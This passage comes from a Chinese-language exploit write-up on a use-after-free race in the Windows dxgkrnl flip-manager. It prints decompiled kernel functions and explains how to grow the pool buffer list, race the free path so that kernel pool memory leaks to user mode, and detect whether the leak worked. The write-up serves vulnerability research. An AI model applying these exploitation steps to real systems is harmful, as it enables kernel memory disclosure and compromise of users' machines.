[...]</span><br/><span leaf="">          }</span><br/><span leaf="">        }</span><br/><span leaf="">      }</span><br/><span leaf="">    }</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)status;</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来是池大小的问题。池越大越容易触发泄露。由于将数据拷贝回用户态需要时间，因此我们不能指望读取整个被填入 UAF 洞的池。该竞态条件可以在不引发蓝屏的情况下执行，我会持续竞争直到泄露成功。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要验证是否泄露成功，我检查返回用户态的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">serialize_buffer</span></code><span leaf="">的末尾字节——如果出现差异，就说明泄露成功。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">NtFlipObjectAddPoolBuffer</span></strong><span leaf="">函数可以使序列化缓冲池变大，它通过调用 </span><strong><span leaf="">CFlipManager::AddPoolBuffer</span></strong><span leaf="">实现。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">__int64 __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CFlipManager::AddPoolBuffer</span></span><span leaf="">(</span><br/><span leaf="">        CFlipManager *</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">,</span><br/><span leaf="">        [...])</span><br/><span leaf="">{</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD &#34;+&#34; TO EXPAND]</span></span><br/><span leaf="">  v6 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">  v21 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( </span><span style="color: rgb(0, 92, 197);"><span leaf="">CEndpointResourceStateManager::FindResourceState</span></span><span leaf="">(</span><br/><span leaf="">         (SECURITY_IMPERSONATION_LEVEL *)</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">,</span><br/><span leaf="">         a2,</span><br/><span leaf="">         a3: (</span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">POWER_STATE</span></span><span leaf=""> **)&amp;</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;StateManager) )</span><br/><span leaf="">  {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC000000D</span></span><span leaf="">;</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><br/><span leaf="">  {</span><br/><span leaf="">    v11 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">CPoolBufferResource::Create</span></span><span leaf="">(</span><br/><span leaf="">            (</span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">_IO_RESOURCE_REQUIREMENTS_LIST</span></span><span leaf=""> *)</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">,</span><br/><span leaf="">            a2: v8,</span><br/><span leaf="">            a3,</span><br/><span leaf="">            a4: v9,</span><br/><span leaf="">            property_set,</span><br/><span leaf="">            a6: &amp;v21);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v11 &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">    {</span><br/><span leaf="">      v12 = v21;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CEndpointResourceStateManager::AddResourceState</span></span><span leaf="">(</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">: v10,</span><br/><span leaf="">        a2: v21,</span><br/><span leaf="">        p_MaxBusNumber: (</span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">POWER_STATE</span></span><span leaf=""> *)&amp;</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;StateManager);</span><br/><span leaf="">       [...]</span><br/><span leaf="">    }</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)v11;</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每添加一个新的池缓冲区，就会创建新的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CPoolBufferResource</span></code><span leaf="">，并加入池缓冲区链表条目。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CEndpointResourceStateManager::AddResourceState</span></span><span leaf="">(</span><br/><span leaf="">        CEndpointResourceStateManager *</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">,</span><br/><span leaf="">        CFlipResourceState *resourceState,</span><br/><span leaf="">        CEndpointResourceStateManager *listHead)</span><br/><span leaf="">{</span><br/><span leaf="">  v3 = (_LIST_ENTRY *)((</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span leaf=""> __int64)&amp;resourceState-&gt;ManagerListEntry &amp; -(__int64)(resourceState != </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">));</span><br/><span leaf="">  Blink = listHead-&gt;PoolBufferStateListHead.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (CEndpointResourceStateManager *)Blink-&gt;Flink != listHead )</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">__fastfail</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">3u</span></span><span leaf="">);</span><br/><span leaf="">  v3-&gt;Flink = &amp;listHead-&gt;PoolBufferStateListHead;</span><br/><span leaf="">  *(_QWORD *)(((</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span leaf=""> __int64)&amp;resourceState-&gt;ManagerListEntry &amp; -(__int64)(resourceState != </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">)) + </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">) = Blink;</span><br/><span leaf="">  Blink-&gt;Flink = v3;</span><br/><span leaf="">  listHead-&gt;PoolBufferStateListHead.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf=""> = v3;</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PoolBufferStateListHead</span></code><span leaf="">中有足够的池缓冲区条目时，调用 </span><strong><span leaf="">NtFlipObjectConsumerBeginProcessPresent</span></strong><span leaf="">，代码会在 </span><strong><span leaf="">PrepareIncrementalUpdateForUser</span></strong><span leaf="">处遍历 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PoolBufferStateListHead</span></code><span leaf="">，并使用 </span><strong><span leaf="">IncreaseAddedBufferSize</span></strong><span leaf="">将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AddedBufferSize</span></code><span leaf="">增加 0x10：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">__int64 __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CEndpointResourceStateManager::PrepareIncrementalUpdateForStateManager</span></span><span leaf="">(</span><br/><span leaf="">        CEndpointResourceStateManager *</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">,</span><br/><span leaf="">        CFlipPresentUpdate *update,</span><br/><span leaf="">        FlipManagerObject *flipObject,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span leaf=""> __int64 presentId)</span><br/><span leaf="">{</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD &#34;+&#34; TO EXPAND]</span></span><br/><span leaf="">  PoolBufferState = (__int64)</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;PoolBufferStateListHead.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">do</span></span><br/><span leaf="">  {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (CEndpointResourceStateManager *)PoolBufferState == </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf=""> )</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">break</span></span><span leaf="">;</span><br/><span leaf="">    [...]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (*(_BYTE *)v12 &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">    {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// Add 0x10 to size</span><br/></span><span leaf="">      v13 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">CResourceStateUpdateSerializer::IncreaseAddedBufferSize</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">: &amp;v82, size: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x10u</span></span><span leaf="">, a3: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">); </span><br/><span leaf="">      CommandDataSize = v82.</span><span style="color: rgb(36, 41, 46);"><span leaf="">CommandDataSize</span></span><span leaf="">;</span><br/><span leaf="">      v6 = v13;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v6 &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> &amp;&amp; (*(_BYTE *)v12 &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">    {</span><br/><span leaf="">      CommandDataSize_1 = CommandDataSize;</span><br/><span leaf="">      CommandDataSize_2 = CommandDataSize + </span><span style="color: rgb(0, 92, 197);"><span leaf="">16</span></span><span leaf="">;</span><br/><span leaf="">      CommandDataSize = -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( CommandDataSize_2 &gt;= CommandDataSize_1 )</span><br/><span leaf="">        CommandDataSize = CommandDataSize_2;</span><br/><span leaf="">      v6 = CommandDataSize_2 &lt; CommandDataSize_1 ? </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000095</span></span><span leaf=""> : </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">      v82.</span><span style="color: rgb(36, 41, 46);"><span leaf="">CommandDataSize</span></span><span leaf=""> = CommandDataSize;</span><br/><span leaf="">    }</span><br/><span leaf="">    PoolBufferState = *(_QWORD *)PoolBufferState;</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">while</span></span><span leaf=""> ( v6 &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> );</span><br/><span leaf="">__int64 __fastcall </span><span style="color: rgb(36, 41, 46);"><span leaf="">CResourceStateUpdateSerializer::IncreaseAddedBufferSize</span></span><span leaf="">(</span><br/><span leaf="">        CResourceStateUpdateSerializer *</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> size,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> a3)</span><br/><span leaf="">{</span><br/><span leaf="">  v3 = size + a3;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( size + a3 &lt; size )</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">3221225621LL</span></span><span leaf="">;</span><br/><span leaf="">  AddedBufferSize = </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedBufferSize;</span><br/><span leaf="">  v5 = v3 + AddedBufferSize;</span><br/><span leaf="">  v6 = -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v5 &gt;= AddedBufferSize )</span><br/><span leaf="">    v6 = v5;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedBufferSize = v6;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> v5 &lt; AddedBufferSize ? </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000095</span></span><span leaf=""> : </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span><br/><span leaf="">....</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">之后，流程进入 </span><strong><span leaf="">CResourceStateUpdateSerializer::Allocate</span></strong><span leaf="">，分配新的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">serialize_buffer</span></code><span leaf="">。以上是初始化步骤和 UAF 路径，下一步是释放路径。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">释放路径</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要释放序列化缓冲区，我们基本上只需调用 </span><strong><span leaf="">NtFlipObjectConsumerEndProcessPresent</span></strong><span leaf="">，序列化缓冲区就会被释放。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">NTSTATUS __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">NtFlipObjectConsumerEndProcessPresent</span></span><span leaf="">(HANDLE consumer_handle)</span><br/><span leaf="">{</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD &#34;+&#34; TO EXPAND]</span></span><br/><span leaf="">  resolved_object_ref = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">KeEnterCriticalRegion</span></span><span leaf="">();</span><br/><span leaf="">  resolve_status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">FlipManagerObject::ResolveHandle</span></span><span leaf="">(</span><br/><span leaf="">                     handle: consumer_handle,</span><br/><span leaf="">                     desired_access: </span><span style="color: rgb(0, 92, 197);"><span leaf="">1u</span></span><span leaf="">,</span><br/><span leaf="">                     unused,</span><br/><span leaf="">                     out_object: &amp;resolved_object_ref);</span><br/><span leaf="">  resolved_object = resolved_object_ref;</span><br/><span leaf="">  status = resolve_status;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( resolve_status &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span leaf="">    status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">CPushLock::AcquireLockExclusive</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">: &amp;resolved_object_ref-&gt;FlipManager.</span><span style="color: rgb(36, 41, 46);"><span leaf="">PushLock</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">    {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CFlipManager::FreeCurrentUpdates</span></span><span leaf="">(flip_manager: &amp;resolved_object-&gt;FlipManager);</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CPushLock::ReleaseLock</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">: &amp;resolved_object-&gt;FlipManager.</span><span style="color: rgb(36, 41, 46);"><span leaf="">PushLock</span></span><span leaf="">);</span><br/><span leaf="">    }</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( resolved_object )</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ObfDereferenceObject</span></span><span leaf="">(Object: resolved_object);</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">KeLeaveCriticalRegion</span></span><span leaf="">();</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> status;</span><br/><span leaf="">}</span><span style="color: rgb(106, 115, 125);"><span leaf="">///////////////////////</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CFlipManager::FreeCurrentUpdates</span></span><span leaf="">(CFlipManager *flip_manager)</span><br/><span leaf="">{</span><br/><span leaf="">  primary_update = flip_manager-&gt;CurrentKernelUpdate;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( primary_update != </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CFlipManager::ReleaseKernelPresentUpdateReferences</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">: flip_manager, Update: primary_update);</span><br/><span leaf="">    primary_update_ptr = flip_manager-&gt;CurrentKernelUpdate;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( primary_update_ptr != </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf=""> )</span><br/><span leaf="">      (*(primary_update_ptr-&gt;TokenOperationVftable + </span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf="">))(a1: primary_update_ptr, a2: </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">);</span><br/><span leaf="">    flip_manager-&gt;CurrentKernelUpdate = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">  }</span><br/><span leaf="">  user_visible_update_ptr = flip_manager-&gt;UserVisibleUpdate;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( user_visible_update_ptr != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span leaf="">    (*(*user_visible_update_ptr + </span><span style="color: rgb(0, 92, 197);"><span leaf="">24LL</span></span><span leaf="">))(a1: user_visible_update_ptr, a2: </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">);</span><span style="color: rgb(106, 115, 125);"><span leaf="">// dxgkrnl!CFlipPresentUpdate::~CFlipPresentUpdate</span><br/></span><span leaf="">    flip_manager-&gt;UserVisibleUpdate = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">  }</span><br/><span leaf="">}</span><span style="color: rgb(106, 115, 125);"><span leaf="">//////////////////////</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CFlipPresentUpdate::~CFlipPresentUpdate</span></span><span leaf="">(CFlipPresentUpdate *</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">)</span><br/><span leaf="">{</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> *SerializedBuffer; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// rcx</span><br/></span><span leaf="">  CFlipPropertySetBase *PropertySet; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// rcx</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;TokenOperationVftable = &amp;CFlipPresentUpdate::`vftable</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;{for `CFlipTokenOperation&#39;</span></span><span leaf="">};</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;QueuedObjectVftable = &amp;CFlipPresentUpdate::`vftable</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;{for `CFlipQueuedObject&#39;</span></span><span leaf="">};</span><br/><span leaf="">  SerializedBuffer = </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedBuffer;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( SerializedBuffer )</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">ExFreePoolWithTag</span></span><span leaf="">(P: SerializedBuffer, Tag: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">  PropertySet = </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;PropertySet;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( PropertySet )</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">CFlipPropertySetBase::Release</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">: PropertySet);</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">CFlipQueuedObject::~CFlipQueuedObject</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">: 